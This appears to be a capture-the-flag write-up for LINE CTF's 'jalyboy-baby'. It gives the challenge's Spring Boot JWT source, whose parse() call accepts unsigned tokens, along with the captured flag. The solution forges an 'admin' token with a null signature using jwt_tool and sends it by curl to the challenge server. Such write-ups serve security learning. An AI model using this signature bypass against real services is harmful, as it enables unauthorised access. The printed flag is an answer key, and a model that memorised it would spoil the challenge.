jalyboy-baby
Source Code
file tree
$ unzip -t jalyboy-baby_7a1dfa2b72cd021aa085071bc93efada.zip
Archive: jalyboy-baby_7a1dfa2b72cd021aa085071bc93efada.zip
testing: jalyboy-baby/ OK
testing: jalyboy-baby/Dockerfile OK
testing: jalyboy-baby/README.md OK
testing: jalyboy-baby/gradle/ OK
testing: jalyboy-baby/gradle/wrapper/ OK
testing: jalyboy-baby/gradle/wrapper/gradle-wrapper.jar OK
testing: jalyboy-baby/gradle/wrapper/gradle-wrapper.properties OK
testing: jalyboy-baby/gradlew OK
testing: jalyboy-baby/.dockerignore OK
testing: jalyboy-baby/.gitignore OK
testing: jalyboy-baby/build.gradle OK
testing: jalyboy-baby/docker-compose.yml OK
testing: jalyboy-baby/gradle-wrapper.properties OK
testing: jalyboy-baby/gradlew.bat OK
testing: jalyboy-baby/settings.gradle OK
testing: jalyboy-baby/src/ OK
testing: jalyboy-baby/src/main/ OK
testing: jalyboy-baby/src/main/resources/ OK
testing: jalyboy-baby/src/main/resources/templates/ OK
testing: jalyboy-baby/src/main/resources/templates/index.ftlh OK
testing: jalyboy-baby/src/main/resources/application.properties OK
testing: jalyboy-baby/src/main/java/ OK
testing: jalyboy-baby/src/main/java/me/ OK
testing: jalyboy-baby/src/main/java/me/linectf/ OK
testing: jalyboy-baby/src/main/java/me/linectf/jalyboy/ OK
testing: jalyboy-baby/src/main/java/me/linectf/jalyboy/JwtController.java OK
testing: jalyboy-baby/src/main/java/me/linectf/jalyboy/JwtApplication.java OK
No errors detected in compressed data of jalyboy-baby_7a1dfa2b72cd021aa085071bc93efada.zip.
JwtController.java
package me.linectf.jalyboy;
import io.jsonwebtoken.*;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import java.security.Key;
import java.security.KeyPair;
@Controller
public class JwtController {
public static final String ADMIN = "admin";
public static final String GUEST = "guest";
public static final String UNKNOWN = "unknown";
public static final String FLAG = System.getenv("FLAG");
Key secretKey = Keys.secretKeyFor(SignatureAlgorithm.HS256);
@GetMapping("/")
public String index(@RequestParam(required = false) String j, Model model) {
System.out.println(secretKey);
String sub = UNKNOWN;
String jwt_guest = Jwts.builder().setSubject(GUEST).signWith(secretKey).compact();
try {
Jwt jwt = Jwts.parser().setSigningKey(secretKey).parse(j);
Claims claims = (Claims) jwt.getBody();
if (claims.getSubject().equals(ADMIN)) {
sub = ADMIN;
} else if (claims.getSubject().equals(GUEST)) {
sub = GUEST;
}
} catch (Exception e) {
// e.printStackTrace();
}
model.addAttribute("jwt", jwt_guest);
model.addAttribute("sub", sub);
if (sub.equals(ADMIN)) model.addAttribute("flag", FLAG);
return "index";
}
}
build.gradle
plugins {
id 'java'
id 'org.springframework.boot' version '3.1.5'
id 'io.spring.dependency-management' version '1.1.3'
}
group = 'me.linectf'
version = '0.0.1-SNAPSHOT'
java {
sourceCompatibility = '17'
}
configurations {
compileOnly {
extendsFrom annotationProcessor
}
}
repositories {
mavenCentral()
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-freemarker'
implementation 'org.springframework.boot:spring-boot-starter-web'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
implementation 'io.jsonwebtoken:jjwt-api:0.11.2'
runtimeOnly 'io.jsonwebtoken:jjwt-impl:0.11.2',
// Uncomment the next line if you want to use RSASSA-PSS (PS256, PS384, PS512) algorithms:
//'org.bouncycastle:bcprov-jdk15on:1.60',
'io.jsonwebtoken:jjwt-jackson:0.11.2' // or 'io.jsonwebtoken:jjwt-gson:0.11.2' for gson
}
tasks.named('test') {
useJUnitPlatform()
}
Flag
LINECTF{337e737f9f2594a02c5c752373212ef7}
Solution
JWT null signature
JWT='eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.RFzqFkmqaQcDqqK65innj_DL2S5BJGxs1rn7a86xtYk'
python3 ~/tools/jwt_tool/jwt_tool.py $JWT -I -pc sub -pv 'admin' -X n
# outout => eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.
curl -s http://34.84.28.50:10000/?j=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9. | grep -o 'LINECTF{.*}'
# output => LINECTF{337e737f9f2594a02c5c752373212ef7}